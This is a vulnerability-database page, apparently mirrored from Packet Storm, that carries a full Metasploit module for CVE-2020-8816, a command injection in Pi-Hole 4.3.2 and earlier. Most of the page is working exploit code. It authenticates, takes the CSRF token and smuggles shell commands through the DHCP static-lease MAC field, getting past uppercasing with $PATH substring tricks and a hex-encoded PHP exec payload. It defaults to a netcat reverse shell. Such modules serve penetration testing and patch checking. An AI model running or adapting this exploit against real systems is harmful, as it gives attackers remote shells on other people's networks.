Lucene search
+L

Pi-Hole 4.3.2 DHCP MAC OS Command Execution

🗓️ 28 May 2020 00:00:00Reported by h00dieType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 269 Views

Pi-Hole 4.3.2 DHCP MAC OS Command Execution vulnerability in Pi-Hole <= 4.3.2 allows adding a new DHCP static lease with a MAC address containing an RCE. Exploitation requires /opt/pihole in $PATH. DHCP server not required

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = GoodRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Pi-Hole DHCP MAC OS Command Execution',  
'Description' => %q{  
This exploits a command execution in Pi-Hole <= 4.3.2. A new DHCP static lease is added  
with a MAC address which includes an RCE. Exploitation requires /opt/pihole to be first  
in the $PATH due to exploitation constraints. DHCP server is not required to be running.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'h00die', # msf module  
'nateksec' # original PoC, discovery  
],  
'References' =>  
[  
['URL', 'https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/'],  
['CVE', '2020-8816']  
],  
'Platform' => ['unix'],  
'Privileged' => false,  
'Arch' => ARCH_CMD,  
'Targets' =>  
[  
[ 'Automatic Target', {}]  
],  
'DisclosureDate' => 'Mar 28 2020',  
'DefaultTarget' => 0,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_netcat'  
},  
'Payload' => {  
'BadChars' => "\x00"  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION]  
}  
)  
)  
register_options(  
[  
Opt::RPORT(80),  
OptString.new('PASSWORD', [ false, 'Password for Pi-Hole interface', '']),  
OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/'])  
]  
)  
end  
  
def check  
begin  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),  
'method' => 'GET'  
)  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200  
  
# vDev (HEAD, v4.3-0-g44aff72)  
# v4.3  
%r{<b>Web Interface Version\s*</b>\s*(vDev \(HEAD, )?v?(?<version>[\d\.]+)\)?.*<b>}m =~ res.body  
  
if version && Gem::Version.new(version) <= Gem::Version.new('4.3.2')  
vprint_good("Version Detected: #{version}")  
return CheckCode::Appears  
else  
vprint_bad("Version Detected: #{version}")  
return CheckCode::Safe  
end  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
CheckCode::Safe  
end  
  
def login(cookie)  
vprint_status('Login required, attempting login.')  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),  
'cookie' => cookie,  
'vars_get' => {  
'tab' => 'piholedhcp'  
},  
'vars_post' => {  
'pw' => datastore['PASSWORD']  
},  
'method' => 'POST'  
)  
end  
  
def add_static(payload, cookie, token)  
# we don't use vars_post due to the need to have duplicate fields  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),  
'ctype' => 'application/x-www-form-urlencoded',  
'cookie' => cookie,  
'method' => 'POST',  
'vars_get' => {  
'tab' => 'piholedhcp'  
},  
'data' => [  
'AddMAC=',  
'AddIP=',  
'AddHostname=',  
"AddMAC=#{URI.encode_www_form_component(payload)}",  
"AddIP=192.168.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}", #to_i to remove leading 0s  
"AddHostname=#{rand_text_alphanumeric(8..12)}",  
'addstatic=',  
'field=DHCP',  
"token=#{URI.encode_www_form_component(token)}"  
].join('&')  
)  
end  
  
def exploit  
if check != CheckCode::Appears  
fail_with(Failure::NotVulnerable, 'Target is not vulnerable')  
end  
  
begin  
@macs = []  
# get cookie  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')  
)  
cookie = res.get_cookies  
print_status("Using cookie: #{cookie}")  
  
# get token  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),  
'cookie' => cookie,  
'vars_get' => {  
'tab' => 'piholedhcp'  
}  
)  
  
# check if we got hit by a login prompt  
if res && res.body.include?('Sign in to start your session')  
res = login(cookie)  
end  
  
if res && res.body.include?('Sign in to start your session')  
fail_with(Failure::BadConfig, 'Incorrect Password')  
end  
  
# <input type="hidden" name="token" value="t51q3YuxWT873Nn+6lCyMG4Lg840gRCgu03akuXcvTk=">  
# may also include /  
%r{name="token" value="(?<token>[\w+=/]+)">} =~ res.body  
  
unless token  
fail_with(Failure::UnexpectedReply, 'Unable to find token')  
end  
print_status("Using token: #{token}")  
  
# from the excellent writeup about the vuln:  
# The biggest difficulty in exploiting this vulnerability is that the user input is  
# capitalized through a call to "strtoupper". Because of this, no lower case character  
# can be used in the resulting injection.  
  
# we'd like to execute something similar to this:  
# aaaaaaaaaaaa&&php -r 'PAYLOAD'  
# however, we need to pull p, h, and r from the system due to all input getting capitalized  
# this is performed by pulling them from the $PATH which should be something like  
# /opt/pihole:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin  
# first payload we send is to check that this is in the path to verify exploitation is possible  
mac = rand_text_hex(12).upcase  
@macs << mac  
vprint_status("Validating path with MAC: #{mac}")  
res = add_static("#{mac}$PATH", cookie, token)  
  
# ruby regex w/ interpolate and named assignments needs to be in .match instead of =~  
env = res.body.match(/value="#{mac}(?<env>.*)">/)  
if env && env[:env].starts_with?('/opt/pihole')  
print_good("System env path exploitable: #{env[:env]}")  
else  
msg = '/opt/pihole not in path. Exploitation not possible.'  
if env  
msg += " Path: #{env[:env]}"  
end  
fail_with(Failure::UnexpectedReply, msg)  
end  
  
# once we have php -r, we then need to pass a payload. So we do this via php command  
# exec on hex2bin since our payload in hex caps will still get processed and executed.  
  
mac = rand_text_hex(12).upcase  
@macs << mac  
print_status("Payload MAC will be: #{mac}")  
shellcode = "#{mac}&&" # mac address, arbitrary  
shellcode << 'W=${PATH#/???/}&&'  
shellcode << 'P=${W%%?????:*}&&'  
shellcode << 'X=${PATH#/???/??}&&'  
shellcode << 'H=${X%%???:*}&&'  
shellcode << 'Z=${PATH#*:/??}&&'  
shellcode << 'R=${Z%%/*}&&$'  
shellcode << "P$H$P$IFS-$R$IFS'EXEC(HEX2BIN(" # php -r exec(hex2bin(  
shellcode << '"'  
shellcode << payload.encoded.unpack('H*').join('') # hex encode payload  
shellcode << '"));'  
shellcode << "'&&"  
  
vprint_status("Shellcode: #{shellcode}")  
print_status('Sending Exploit')  
add_static(shellcode, cookie, token)  
  
# we don't use vars_post due to the need to have duplicate fields  
ip = '192.168'  
2.times {ip="#{ip}.#{rand_text_numeric(1..2).to_i}"} #to_i removes leading zeroes  
send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),  
'ctype' => 'application/x-www-form-urlencoded',  
'cookie' => cookie,  
'method' => 'POST',  
'vars_get' => {  
'tab' => 'piholedhcp'  
},  
'data' => [  
'AddMAC=',  
'AddIP=',  
'AddHostname=',  
"AddMAC=#{URI.encode_www_form_component(shellcode)}",  
"AddIP=192.168.#{rand_text_numeric(1..2).to_i}.#{rand_text_numeric(1..2).to_i}", #to_i to remove leading 0s  
"AddHostname=#{rand_text_alphanumeric(3..8)}",  
'addstatic=',  
'field=DHCP',  
"token=#{URI.encode_www_form_component(token)}"  
].join('&')  
)  
  
# entries are written to /etc/dnsmasq.d/04-pihole-static-dhcp.conf  
rescue ::Rex::ConnectionError  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")  
end  
  
end  
  
def on_new_session(session)  
super  
@macs.each do |mac|  
print_status("Attempting to clean #{mac} from config")  
session.shell_command_token("sudo pihole -a removestaticdhcp #{mac}")  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation